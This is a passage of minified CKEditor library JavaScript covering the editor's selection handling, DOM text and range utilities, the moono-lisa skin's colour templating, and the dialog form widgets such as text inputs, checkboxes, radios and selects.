var e=e.split(":"),b=e[0];CKEDITOR.stylesSet.addExternal(b,e[1]?e.slice(1).join(":"):CKEDITOR.getUrl("styles.js"),"");CKEDITOR.stylesSet.load(b,function(c){f._.stylesDefinitions=c[b];a(f._.stylesDefinitions)})}}}});(function(){if(window.Promise)CKEDITOR.tools.promise=Promise;else{var a=CKEDITOR.getUrl("vendor/promise.js");if("function"===typeof window.define&&window.define.amd&&"function"===typeof window.require)return window.require([a],function(a){CKEDITOR.tools.promise=a});CKEDITOR.scriptLoader.load(a,
function(f){if(!f)return CKEDITOR.error("no-vendor-lib",{path:a});if("undefined"!==typeof window.ES6Promise)return CKEDITOR.tools.promise=ES6Promise})}})();(function(){function a(a,c,m){a.once("selectionCheck",function(a){if(!f){var b=a.data.getRanges()[0];m.equals(b)?a.cancel():c.equals(b)&&(e=!0)}},null,null,-1)}var f=!0,e=!1;CKEDITOR.dom.selection.setupEditorOptimization=function(a){a.on("selectionCheck",function(a){a.data&&!e&&a.data.optimizeInElementEnds();e=!1});a.on("contentDom",function(){var c=
a.editable();c&&(c.attachListener(c,"keydown",function(a){this._.shiftPressed=a.data.$.shiftKey},this),c.attachListener(c,"keyup",function(a){this._.shiftPressed=a.data.$.shiftKey},this))})};CKEDITOR.dom.selection.prototype.optimizeInElementEnds=function(){var b=this.getRanges()[0],c=this.root.editor,e;if(this.root.editor._.shiftPressed||this.isFake||b.isCollapsed||b.startContainer.equals(b.endContainer))e=!1;else if(0===b.endOffset)e=!0;else{e=b.startContainer.type===CKEDITOR.NODE_TEXT;var h=b.endContainer.type===
CKEDITOR.NODE_TEXT,l=e?b.startContainer.getLength():b.startContainer.getChildCount();e=b.startOffset===l||e^h}e&&(e=b.clone(),b.shrink(CKEDITOR.SHRINK_TEXT,!1,{skipBogus:!CKEDITOR.env.webkit}),f=!1,a(c,b,e),b.select(),f=!0)}})();CKEDITOR.dom.comment=function(a,f){"string"==typeof a&&(a=(f?f.$:document).createComment(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return"\x3c!--"+
this.$.nodeValue+"--\x3e"}});"use strict";(function(){var a={},f={},e;for(e in CKEDITOR.dtd.$blockLimit)e in CKEDITOR.dtd.$list||(a[e]=1);for(e in CKEDITOR.dtd.$block)e in CKEDITOR.dtd.$blockLimit||e in CKEDITOR.dtd.$empty||(f[e]=1);CKEDITOR.dom.elementPath=function(b,c){var e=null,h=null,l=[],d=b,k;c=c||b.getDocument().getBody();d||(d=c);do if(d.type==CKEDITOR.NODE_ELEMENT){l.push(d);if(!this.lastElement&&(this.lastElement=d,d.is(CKEDITOR.dtd.$object)||"false"==d.getAttribute("contenteditable")))continue;
if(d.equals(c))break;if(!h&&(k=d.getName(),"true"==d.getAttribute("contenteditable")?h=d:!e&&f[k]&&(e=d),a[k])){if(k=!e&&"div"==k){a:{k=d.getChildren();for(var g=0,n=k.count();g<n;g++){var r=k.getItem(g);if(r.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$block[r.getName()]){k=!0;break a}}k=!1}k=!k}k?e=d:h=d}}while(d=d.getParent());h||(h=c);this.block=e;this.blockLimit=h;this.root=c;this.elements=l}})();CKEDITOR.dom.elementPath.prototype={compare:function(a){var f=this.elements;a=a&&a.elements;if(!a||
f.length!=a.length)return!1;for(var e=0;e<f.length;e++)if(!f[e].equals(a[e]))return!1;return!0},contains:function(a,f,e){var b=0,c;"string"==typeof a&&(c=function(b){return b.getName()==a});a instanceof CKEDITOR.dom.element?c=function(b){return b.equals(a)}:CKEDITOR.tools.isArray(a)?c=function(b){return-1<CKEDITOR.tools.indexOf(a,b.getName())}:"function"==typeof a?c=a:"object"==typeof a&&(c=function(b){return b.getName()in a});var m=this.elements,h=m.length;f&&(e?b+=1:--h);e&&(m=Array.prototype.slice.call(m,
0),m.reverse());for(;b<h;b++)if(c(m[b]))return m[b];return null},isContextFor:function(a){var f;return a in CKEDITOR.dtd.$block?(f=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&&this.block||this.blockLimit,!!f.getDtd()[a]):!0},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}};CKEDITOR.dom.text=function(a,f){"string"==typeof a&&(a=(f?f.$:document).createTextNode(a));this.$=a};CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,
{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(a){this.$.nodeValue=a},isEmpty:function(a){var f=this.getText();a&&(f=CKEDITOR.tools.trim(f));return!f||f===CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE},split:function(a){var f=this.$.parentNode,e=f.childNodes.length,b=this.getLength(),c=this.getDocument(),m=new CKEDITOR.dom.text(this.$.splitText(a),c);f.childNodes.length==e&&(a>=b?(m=c.createText(""),m.insertAfter(this)):
(a=c.createText(""),a.insertAfter(m),a.remove()));return m},substring:function(a,f){return"number"!=typeof f?this.$.nodeValue.substr(a):this.$.nodeValue.substring(a,f)}});(function(){function a(a,b,c){var f=a.serializable,h=b[c?"endContainer":"startContainer"],l=c?"endOffset":"startOffset",d=f?b.document.getById(a.startNode):a.startNode;a=f?b.document.getById(a.endNode):a.endNode;h.equals(d.getPrevious())?(b.startOffset=b.startOffset-h.getLength()-a.getPrevious().getLength(),h=a.getNext()):h.equals(a.getPrevious())&&
(b.startOffset-=h.getLength(),h=a.getNext());h.equals(d.getParent())&&b[l]++;h.equals(a.getParent())&&b[l]++;b[c?"endContainer":"startContainer"]=h;return b}CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&&(a=[a]):a=[];return CKEDITOR.tools.extend(a,f)};var f={createIterator:function(){var a=this,b=CKEDITOR.dom.walker.bookmark(),c=[],f;return{getNextRange:function(h){f=void 0===f?0:f+1;var l=a[f];if(l&&1<a.length){if(!f)for(var d=
a.length-1;0<=d;d--)c.unshift(a[d].createBookmark(!0));if(h)for(var k=0;a[f+k+1];){var g=l.document;h=0;d=g.getById(c[k].endNode);for(g=g.getById(c[k+1].startNode);;){d=d.getNextSourceNode(!1);if(g.equals(d))h=1;else if(b(d)||d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary())continue;break}if(!h)break;k++}for(l.moveToBookmark(c.shift());k--;)d=a[++f],d.moveToBookmark(c.shift()),l.setEnd(d.endContainer,d.endOffset)}return l}}},createBookmarks:function(e){for(var b=[],c,f=0;f<this.length;f++){b.push(c=
this[f].createBookmark(e,!0));for(var h=f+1;h<this.length;h++)this[h]=a(c,this[h]),this[h]=a(c,this[h],!0)}return b},createBookmarks2:function(a){for(var b=[],c=0;c<this.length;c++)b.push(this[c].createBookmark2(a));return b},moveToBookmarks:function(a){for(var b=0;b<this.length;b++)this[b].moveToBookmark(a[b])}}})();(function(){function a(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(",")[1]||"skins/"+CKEDITOR.skinName.split(",")[0]+"/")}function f(b){var d=CKEDITOR.skin["ua_"+b],c=CKEDITOR.env;
if(d)for(var d=d.split(",").sort(function(a,b){return a>b?-1:1}),e=0,f;e<d.length;e++)if(f=d[e],c.ie&&(f.replace(/^ie/,"")==c.version||c.quirks&&"iequirks"==f)&&(f="ie"),c[f]){b+="_"+d[e];break}return CKEDITOR.getUrl(a()+b+".css")}function e(a,b){m[a]||(CKEDITOR.document.appendStyleSheet(f(a)),m[a]=1);b&&b()}function b(a){var b=a.getById(h);b||(b=a.getHead().append("style"),b.setAttribute("id",h),b.setAttribute("type","text/css"));return b}function c(a,b,d){var c,e,f;if(CKEDITOR.env.webkit)for(b=
b.split("}").slice(0,-1),e=0;e<b.length;e++)b[e]=b[e].split("{");for(var h=0;h<a.length;h++)if(CKEDITOR.env.webkit)for(e=0;e<b.length;e++){f=b[e][1];for(c=0;c<d.length;c++)f=f.replace(d[c][0],d[c][1]);a[h].$.sheet.addRule(b[e][0],f)}else{f=b;for(c=0;c<d.length;c++)f=f.replace(d[c][0],d[c][1]);CKEDITOR.env.ie&&11>CKEDITOR.env.version?a[h].$.styleSheet.cssText+=f:a[h].$.innerHTML+=f}}var m={};CKEDITOR.skin={path:a,loadPart:function(b,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(",")[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(a()+
"skin.js"),function(){e(b,d)}):e(b,d)},getPath:function(a){return CKEDITOR.getUrl(f(a))},icons:{},addIcon:function(a,b,d,c){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:d||0,bgsize:c||"16px"})},getIconStyle:function(a,b,d,c,e){var f;a&&(a=a.toLowerCase(),b&&(f=this.icons[a+"-rtl"]),f||(f=this.icons[a]));a=d||f&&f.path||"";c=c||f&&f.offset;e=e||f&&f.bgsize||"16px";a&&(a=a.replace(/'/g,"\\'"));return a&&"background-image:url('"+CKEDITOR.getUrl(a)+"');background-position:0 "+c+"px;background-size:"+
e+";"}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var g=b(CKEDITOR.document);return(this.setUiColor=function(a){this.uiColor=a;var b=CKEDITOR.skin.chameleon,e="",f="";"function"==typeof b&&(e=b(this,"editor"),f=b(this,"panel"));a=[[d,a]];c([g],e,a);c(l,f,a)}).call(this,a)}});var h="cke_ui_color",l=[],d=/\$color/g;CKEDITOR.on("instanceLoaded",function(a){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var g=a.editor;a=function(a){a=
(a.data[0]||a.data).element.getElementsByTag("iframe").getItem(0).getFrameDocument();if(!a.getById("cke_ui_color")){var e=b(a);l.push(e);g.on("destroy",function(){l=CKEDITOR.tools.array.filter(l,function(a){return e!==a})});(a=g.getUiColor())&&c([e],CKEDITOR.skin.chameleon(g,"panel"),[[d,a]])}};g.on("panelShow",a);g.on("menuShow",a);g.config.uiColor&&g.setUiColor(g.config.uiColor)}})})();(function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=!1;else{var a=CKEDITOR.dom.element.createFromHtml('\x3cdiv style\x3d"width:0;height:0;position:absolute;left:-10000px;border:1px solid;border-color:red blue"\x3e\x3c/div\x3e',
CKEDITOR.document);a.appendTo(CKEDITOR.document.getHead());try{var f=a.getComputedStyle("border-top-color"),e=a.getComputedStyle("border-right-color");CKEDITOR.env.hc=!(!f||f!=e)}catch(b){CKEDITOR.env.hc=!1}a.remove()}CKEDITOR.env.hc&&(CKEDITOR.env.cssClass+=" cke_hc");CKEDITOR.document.appendStyleText(".cke{visibility:hidden;}");CKEDITOR.status="loaded";CKEDITOR.fireOnce("loaded");if(a=CKEDITOR._.pending)for(delete CKEDITOR._.pending,f=0;f<a.length;f++)CKEDITOR.editor.prototype.constructor.apply(a[f][0],
a[f][1]),CKEDITOR.add(a[f][0])})();CKEDITOR.skin.name="moono-lisa";CKEDITOR.skin.ua_editor="ie,iequirks,ie8,gecko";CKEDITOR.skin.ua_dialog="ie,iequirks,ie8";CKEDITOR.skin.chameleon=function(){var a=function(){return function(a,b){for(var c=a.match(/[^#]./g),f=0;3>f;f++){var h=f,l;l=parseInt(c[f],16);l=("0"+(0>b?0|l*(1+b):0|l+(255-l)*b).toString(16)).slice(-2);c[h]=l}return"#"+c.join("")}}(),f={editor:new CKEDITOR.template("{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ background-color:{defaultBackground};border-bottom-color:{defaultBorder};] {id} .cke_bottom [background-color:{defaultBackground};border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [background-color:{defaultBackground};border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [background-color:{defaultBackground};outline-color:{defaultBorder};] {id} .cke_dialog_tab [background-color:{dialogTab};border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [background-color:{lightBackground};] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} a.cke_button_off:hover,{id} a.cke_button_off:focus,{id} a.cke_button_off:active [background-color:{darkBackground};border-color:{toolbarElementsBorder};] {id} .cke_button_on [background-color:{ckeButtonOn};border-color:{toolbarElementsBorder};] {id} .cke_toolbar_separator,{id} .cke_toolgroup a.cke_button:last-child:after,{id} .cke_toolgroup a.cke_button.cke_button_disabled:hover:last-child:after [background-color: {toolbarElementsBorder};border-color: {toolbarElementsBorder};] {id} a.cke_combo_button:hover,{id} a.cke_combo_button:focus,{id} .cke_combo_on a.cke_combo_button [border-color:{toolbarElementsBorder};background-color:{darkBackground};] {id} .cke_combo:after [border-color:{toolbarElementsBorder};] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover,{id} a.cke_path_item:focus,{id} a.cke_path_item:active [background-color:{darkBackground};] {id}.cke_panel [border-color:{defaultBorder};] "),
panel:new CKEDITOR.template(".cke_panel_grouptitle [background-color:{lightBackground};border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active [background-color:{menubuttonHover};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] ")};
return function(e,b){var c=a(e.uiColor,.4),c={id:"."+e.id,defaultBorder:a(c,-.2),toolbarElementsBorder:a(c,-.25),defaultBackground:c,lightBackground:a(c,.8),darkBackground:a(c,-.15),ckeButtonOn:a(c,.4),ckeResizer:a(c,-.4),ckeColorauto:a(c,.8),dialogBody:a(c,.7),dialogTab:a(c,.65),dialogTabSelected:"#FFF",dialogTabSelectedBorder:"#FFF",elementsPathColor:a(c,-.6),menubuttonHover:a(c,.1),menubuttonIcon:a(c,.5),menubuttonIconHover:a(c,.3)};return f[b].output(c).replace(/\[/g,"{").replace(/\]/g,"}")}}();
CKEDITOR.plugins.add("dialogui",{onLoad:function(){var a=function(a){this._||(this._={});this._["default"]=this._.initValue=a["default"]||"";this._.required=a.required||!1;for(var b=[this._],c=1;c<arguments.length;c++)b.push(arguments[c]);b.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,b);return this._},f={build:function(a,b,c){return new CKEDITOR.ui.dialog.textInput(a,b,c)}},e={build:function(a,b,c){return new CKEDITOR.ui.dialog[b.type](a,b,c)}},b={isChanged:function(){return this.getValue()!=
this.getInitValue()},reset:function(a){this.setValue(this.getInitValue(),a)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._["default"]},getInitValue:function(){return this._.initValue}},c=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(a,b){this._.domOnChangeRegistered||(a.on("load",function(){this.getInputElement().on("change",function(){a.parts.dialog.isVisible()&&this.fire("change",{value:this.getValue()})},
this)},this),this._.domOnChangeRegistered=!0);this.on("change",b)}},!0),m=/^on([A-Z]\w+)/,h=function(a){for(var b in a)(m.test(b)||"title"==b||"type"==b)&&delete a[b];return a},l=function(a){a=a.data.getKeystroke();a==CKEDITOR.SHIFT+CKEDITOR.ALT+36?this.setDirectionMarker("ltr"):a==CKEDITOR.SHIFT+CKEDITOR.ALT+35&&this.setDirectionMarker("rtl")};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,c,g,e){if(!(4>arguments.length)){var f=a.call(this,c);f.labelId=CKEDITOR.tools.getNextId()+
"_label";this._.children=[];var h={role:c.role||"presentation"};c.includeLabel&&(h["aria-labelledby"]=f.labelId);CKEDITOR.ui.dialog.uiElement.call(this,b,c,g,"div",null,h,function(){var a=[],g=c.required?" cke_required":"";"horizontal"!=c.labelLayout?a.push('\x3clabel class\x3d"cke_dialog_ui_labeled_label'+g+'" ',' id\x3d"'+f.labelId+'"',f.inputId?' for\x3d"'+f.inputId+'"':"",(c.labelStyle?' style\x3d"'+c.labelStyle+'"':"")+"\x3e",c.label,"\x3c/label\x3e",'\x3cdiv class\x3d"cke_dialog_ui_labeled_content"',
c.controlStyle?' style\x3d"'+c.controlStyle+'"':"",' role\x3d"presentation"\x3e',e.call(this,b,c),"\x3c/div\x3e"):(g={type:"hbox",widths:c.widths,padding:0,children:[{type:"html",html:'\x3clabel class\x3d"cke_dialog_ui_labeled_label'+g+'" id\x3d"'+f.labelId+'" for\x3d"'+f.inputId+'"'+(c.labelStyle?' style\x3d"'+c.labelStyle+'"':"")+"\x3e"+CKEDITOR.tools.htmlEncode(c.label)+"\x3c/label\x3e"},{type:"html",html:'\x3cspan class\x3d"cke_dialog_ui_labeled_content"'+(c.controlStyle?' style\x3d"'+c.controlStyle+
'"':"")+"\x3e"+e.call(this,b,c)+"\x3c/span\x3e"}]},CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,g,a));return a.join("")})}},textInput:function(b,c,g){if(!(3>arguments.length)){a.call(this,c);var e=this._.inputId=CKEDITOR.tools.getNextId()+"_textInput",f={"class":"cke_dialog_ui_input_"+c.type,id:e,type:c.type};c.validate&&(this.validate=c.validate);c.maxLength&&(f.maxlength=c.maxLength);c.size&&(f.size=c.size);c.inputStyle&&(f.style=c.inputStyle);var h=this,m=!1;b.on("load",function(){h.getInputElement().on("keydown",
function(a){13==a.data.getKeystroke()&&(m=!0)});h.getInputElement().on("keyup",function(a){13==a.data.getKeystroke()&&m&&(b.getButton("ok")&&setTimeout(function(){b.getButton("ok").click()},0),m=!1);h.bidi&&l.call(h,a)},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,b,c,g,function(){var a=['\x3cdiv class\x3d"cke_dialog_ui_input_',c.type,'" role\x3d"presentation"'];c.width&&a.push('style\x3d"width:'+c.width+'" ');a.push("\x3e\x3cinput ");f["aria-labelledby"]=this._.labelId;this._.required&&
(f["aria-required"]=this._.required);for(var b in f)a.push(b+'\x3d"'+f[b]+'" ');a.push(" /\x3e\x3c/div\x3e");return a.join("")})}},textarea:function(b,c,g){if(!(3>arguments.length)){a.call(this,c);var e=this,f=this._.inputId=CKEDITOR.tools.getNextId()+"_textarea",h={};c.validate&&(this.validate=c.validate);h.rows=c.rows||5;h.cols=c.cols||20;h["class"]="cke_dialog_ui_input_textarea "+(c["class"]||"");"undefined"!=typeof c.inputStyle&&(h.style=c.inputStyle);c.dir&&(h.dir=c.dir);if(e.bidi)b.on("load",
function(){e.getInputElement().on("keyup",l)},e);CKEDITOR.ui.dialog.labeledElement.call(this,b,c,g,function(){h["aria-labelledby"]=this._.labelId;this._.required&&(h["aria-required"]=this._.required);var a=['\x3cdiv class\x3d"cke_dialog_ui_input_textarea" role\x3d"presentation"\x3e\x3ctextarea id\x3d"',f,'" '],b;for(b in h)a.push(b+'\x3d"'+CKEDITOR.tools.htmlEncode(h[b])+'" ');a.push("\x3e",CKEDITOR.tools.htmlEncode(e._["default"]),"\x3c/textarea\x3e\x3c/div\x3e");return a.join("")})}},checkbox:function(b,
c,g){if(!(3>arguments.length)){var e=a.call(this,c,{"default":!!c["default"]});c.validate&&(this.validate=c.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,c,g,"span",null,null,function(){var a=CKEDITOR.tools.extend({},c,{id:c.id?c.id+"_checkbox":CKEDITOR.tools.getNextId()+"_checkbox"},!0),g=[],f=CKEDITOR.tools.getNextId()+"_label",l={"class":"cke_dialog_ui_checkbox_input",type:"checkbox","aria-labelledby":f};h(a);c["default"]&&(l.checked="checked");"undefined"!=typeof a.inputStyle&&(a.style=a.inputStyle);
e.checkbox=new CKEDITOR.ui.dialog.uiElement(b,a,g,"input",null,l);g.push(' \x3clabel id\x3d"',f,'" for\x3d"',l.id,'"'+(c.labelStyle?' style\x3d"'+c.labelStyle+'"':"")+"\x3e",CKEDITOR.tools.htmlEncode(c.label),"\x3c/label\x3e");return g.join("")})}},radio:function(b,c,g){if(!(3>arguments.length)){a.call(this,c);this._["default"]||(this._["default"]=this._.initValue=c.items[0][1]);c.validate&&(this.validate=c.validate);var e=[],f=this;c.role="radiogroup";c.includeLabel=!0;CKEDITOR.ui.dialog.labeledElement.call(this,
b,c,g,function(){for(var a=[],g=[],l=(c.id?c.id:CKEDITOR.tools.getNextId())+"_radio",m=0;m<c.items.length;m++){var x=c.items[m],t=void 0!==x[2]?x[2]:x[0],B=void 0!==x[1]?x[1]:x[0],v=CKEDITOR.tools.getNextId()+"_radio_input",y=v+"_label",v=CKEDITOR.tools.extend({},c,{id:v,title:null,type:null},!0),t=CKEDITOR.tools.extend({},v,{title:t},!0),z={type:"radio","class":"cke_dialog_ui_radio_input",name:l,value:B,"aria-labelledby":y},A=[];f._["default"]==B&&(z.checked="checked");h(v);h(t);"undefined"!=typeof v.inputStyle&&
(v.style=v.inputStyle);v.keyboardFocusable=!0;e.push(new CKEDITOR.ui.dialog.uiElement(b,v,A,"input",null,z));A.push(" ");new CKEDITOR.ui.dialog.uiElement(b,t,A,"label",null,{id:y,"for":z.id},x[0]);a.push(A.join(""))}new CKEDITOR.ui.dialog.hbox(b,e,a,g);return g.join("")});this._.children=e}},button:function(b,c,g){if(arguments.length){"function"==typeof c&&(c=c(b.getParentEditor()));a.call(this,c,{disabled:c.disabled||!1});CKEDITOR.event.implementOn(this);var e=this;b.on("load",function(){var a=this.getElement();
(function(){a.on("click",function(a){e.click();a.data.preventDefault()});a.on("keydown",function(a){a.data.getKeystroke()in{32:1}&&(e.click(),a.data.preventDefault())})})();a.unselectable()},this);var f=CKEDITOR.tools.extend({},c);delete f.style;var h=CKEDITOR.tools.getNextId()+"_label";CKEDITOR.ui.dialog.uiElement.call(this,b,f,g,"a",null,{style:c.style,href:"javascript:void(0)",title:c.label,hidefocus:"true","class":c["class"],role:"button","aria-labelledby":h},'\x3cspan id\x3d"'+h+'" class\x3d"cke_dialog_ui_button"\x3e'+
CKEDITOR.tools.htmlEncode(c.label)+"\x3c/span\x3e")}},select:function(b,c,g){if(!(3>arguments.length)){var e=a.call(this,c);c.validate&&(this.validate=c.validate);e.inputId=CKEDITOR.tools.getNextId()+"_select";CKEDITOR.ui.dialog.labeledElement.call(this,b,c,g,function(){var a=CKEDITOR.tools.extend({},c,{id:c.id?c.id+"_select":CKEDITOR.tools.getNextId()+"_select"},!0),g=[],f=[],l={id:e.inputId,"class":"cke_dialog_ui_input_select","aria-labelledby":this._.labelId};g.push('\x3cdiv class\x3d"cke_dialog_ui_input_',
c.type,'" role\x3d"presentation"');c.width&&g.push('style\x3d"width:'+c.width+'" ');g.push("\x3e");void 0!==c.size&&(l.size=c.size);void 0!==c.multiple&&(l.multiple=c.multiple);h(a);for(var m=0,x;m<c.items.length&&(x=c.items[m]);m++)f.push('\x3coption value\x3d"',CKEDITOR.tools.htmlEncode(void 0!==x[1]?x[1]:x[0]).replace(/"/g,"\x26quot;"),'" /\x3e ',CKEDITOR.tools.htmlEncode(x[0]));"undefined"!=typeof a.inputStyle&&(a.style=a.inputStyle);e.select=new CKEDITOR.ui.dialog.uiElement(b,a,g,"select",null,
l,f.join(""));g.push("\x3c/div\x3e");return g.join("")})}},file:function(b,c,g){if(!(3>arguments.length)){void 0===c["default"]&&(c["default"]="");var e=CKEDITOR.tools.extend(a.call(this,c),{definition:c,buttons:[]});c.validate&&(this.validate=c.validate);b.on("load",function(){CKEDITOR.document.getById(e.frameId).getParent().addClass("cke_dialog_ui_input_file")});CKEDITOR.ui.dialog.labeledElement.call(this,b,c,g,function(){e.frameId=CKEDITOR.tools.getNextId()+"_fileInput";var a=['\x3ciframe frameborder\x3d"0" allowtransparency\x3d"0" class\x3d"cke_dialog_ui_input_file" role\x3d"presentation" id\x3d"',
e.frameId,'" title\x3d"',c.label,'" src\x3d"javascript:void('];a.push(CKEDITOR.env.ie?"(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"})()":"0");a.push(')"\x3e\x3c/iframe\x3e');return a.join("")})}},fileButton:function(b,c,g){var e=this;if(!(3>arguments.length)){a.call(this,c);c.validate&&(this.validate=c.validate);var f=CKEDITOR.tools.extend({},c),h=f.onClick;f.className=(f.className?f.className+" ":"")+"cke_dialog_ui_button";f.onClick=function(a){var g=
c["for"];a=h?h.call(this,a):!1;!1!==a&&("xhr"!==a&&b.getContentElement(g[0],g[1]).submit(),this.disable())};b.on("load",function(){b.getContentElement(c["for"][0],c["for"][1])._.buttons.push(e)});CKEDITOR.ui.dialog.button.call(this,b,f,g)}},html:function(){var a=/^\s*<[\w:]+\s+([^>]*)?>/,b=/^(\s*<[\w:]+(?:\s+[^>]*)?)((?:.|\r|\n)+)$/,c=/\/$/;return function(e,f,h){if(!(3>arguments.length)){var l=[],m=f.html;"\x3c"!=m.charAt(0)&&(m="\x3cspan\x3e"+m+"\x3c/span\x3e");var u=f.focus;if(u){var x=this.focus;
this.focus=function(){("function"==typeof u?u:x).call(this);this.fire("focus")};f.isFocusable&&(this.isFocusable=this.isFocusable);this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,e,f,l,"span",null,null,"");l=l.join("").match(a);m=m.match(b)||["","",""];c.test(m[1])&&(m[1]=m[1].slice(0,-1),m[2]="/"+m[2]);h.push([m[1]," ",l[1]||"",m[2]].join(""))}}}(),fieldset:function(a,b,c,e,f){var h=f.label;this._={children:b};CKEDITOR.ui.dialog.uiElement.call(this,a,f,e,"fieldset",null,null,function(){var a=
[];h&&a.push("\x3clegend"+(f.labelStyle?' style\x3d"'+f.labelStyle+'"':"")+"\x3e"+h+"\x3c/legend\x3e");for(var b=0;b<c.length;b++)a.push(c[b]);return a.join("")})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(a){var b=CKEDITOR.document.getById(this._.labelId);1>b.getChildCount()?(new CKEDITOR.dom.text(a,CKEDITOR.document)).appendTo(b):b.getChild(0).$.nodeValue=
a;return this},getLabel:function(){var a=CKEDITOR.document.getById(this._.labelId);return!a||1>a.getChildCount()?"":a.getChild(0).getText()},eventProcessors:c},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return this._.disabled?!1:this.fire("click",{dialog:this._.dialog})},enable:function(){this._.disabled=!1;var a=this.getElement();a&&a.removeClass("cke_disabled")},disable:function(){this._.disabled=!0;this.getElement().addClass("cke_disabled")},
isVisible:function(){return this.getElement().getFirst().isVisible()},isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(a,b){this.on("click",function(){b.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},
focus:function(){var a=this.selectParentTab();setTimeout(function(){var b=a.getInputElement();b&&b.$.focus()},0)},select:function(){var a=this.selectParentTab();setTimeout(function(){var b=a.getInputElement();b&&(b.$.focus(),b.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(a){if(this.bidi){var b=a&&a.charAt(0);(b=""==b?"ltr":""==b?"rtl":null)&&(a=a.slice(1));this.setDirectionMarker(b)}a||(a="");return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},
getValue:function(){var a=CKEDITOR.ui.dialog.uiElement.prototype.getValue.call(this);if(this.bidi&&a){var b=this.getDirectionMarker();b&&(a=("ltr"==b?"":"")+a)}return a},setDirectionMarker:function(a){var b=this.getInputElement();a?b.setAttributes({dir:a,"data-cke-dir-marker":a}):this.getDirectionMarker()&&b.removeAttributes(["dir","data-cke-dir-marker"])},getDirectionMarker:function(){return this.getInputElement().data("cke-dir-marker")},keyboardFocusable:!0},b,!0);CKEDITOR.ui.dialog.textarea.prototype=
new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(a,b,c){var e=new CKEDITOR.dom.element("option",this.getDialog().getParentEditor().document),f=this.getInputElement().$;e.$.text=a;e.$.value=void 0===b||null===b?a:b;void 0===c||null===c?CKEDITOR.env.ie?f.add(e.$):f.add(e.$,null):f.add(e.$,c);return this},remove:function(a){this.getInputElement().$.remove(a);
